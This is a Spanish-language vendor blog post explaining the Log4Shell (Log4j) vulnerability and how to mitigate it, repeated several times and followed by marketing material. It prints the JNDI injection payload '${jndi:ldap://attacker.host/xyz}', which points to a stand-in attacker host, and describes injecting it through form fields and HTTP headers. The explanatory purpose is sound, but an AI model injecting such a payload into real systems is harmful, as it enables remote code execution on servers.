La vulnerabilidad de Log4j explicada - Su vector de ataque y cómo prevenirla
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
En diciembre de 2021, se reveló una vulnerabilidad de seguridad crítica Log4Shell en la biblioteca Java Log4j. En este artículo, desglosamos la vulnerabilidad Log4Shell de la forma más sencilla para que entiendas lo básico y te presentamos una misión: un campo de juego en el que puedes intentar explotar un sitio web simulado utilizando los conocimientos de esta vulnerabilidad.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Haga clic en el siguiente enlace y descargue el PDF de este recurso.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Ver el informeReservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Índice
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostraciónDescargarRecursos para empezar
A por el oro: Aumentar la seguridad del código en Paysafe
Descubra cómo la asociación de Paysafe con Secure Code Warrior permitió aumentar en un 45% la productividad de los desarrolladores y reducir considerablemente las vulnerabilidades del código.
.png)
El poder de la marca en AppSec DevSec DevSecOps (¿Qué hay en un Acrynym?)
En AppSec, el impacto duradero de un programa exige algo más que tecnología: necesita una marca fuerte. Una identidad poderosa garantiza que sus iniciativas resuenen e impulsen un compromiso sostenido dentro de su comunidad de desarrolladores.
Agente de confianza: AI por Secure Code Warrior
Esta página presenta SCW Trust Agent: AI, un nuevo conjunto de capacidades que proporcionan una profunda observabilidad y gobernanza sobre las herramientas de codificación de IA. Descubra cómo nuestra solución correlaciona de forma única el uso de herramientas de IA con las habilidades de los desarrolladores para ayudarle a gestionar el riesgo, optimizar su SDLC y garantizar que cada línea de código generado por IA sea segura.
.avif)
Vibe Coding: Guía práctica para actualizar su estrategia AppSec para la IA
Vea el vídeo a la carta para aprender a capacitar a los administradores de AppSec para que se conviertan en facilitadores de IA, en lugar de bloqueadores, mediante un enfoque práctico que da prioridad a la formación. Le mostraremos cómo aprovechar Secure Code Warrior (SCW) para actualizar estratégicamente su estrategia de AppSec para la era de los asistentes de codificación de IA.
Recursos para empezar
.avif)
Codificación segura en la era de la IA: pruebe nuestros nuevos retos interactivos de IA
La codificación asistida por IA está cambiando el desarrollo. Prueba nuestros nuevos retos de IA al estilo Copilot para revisar, analizar y corregir código de forma segura en flujos de trabajo realistas.
Codificación orientada al desarrollador.
Con seguridad.
Póngase en contacto con nosotros hoy mismo y haga de la seguridad del software una parte intrínseca de su proceso de desarrollo.
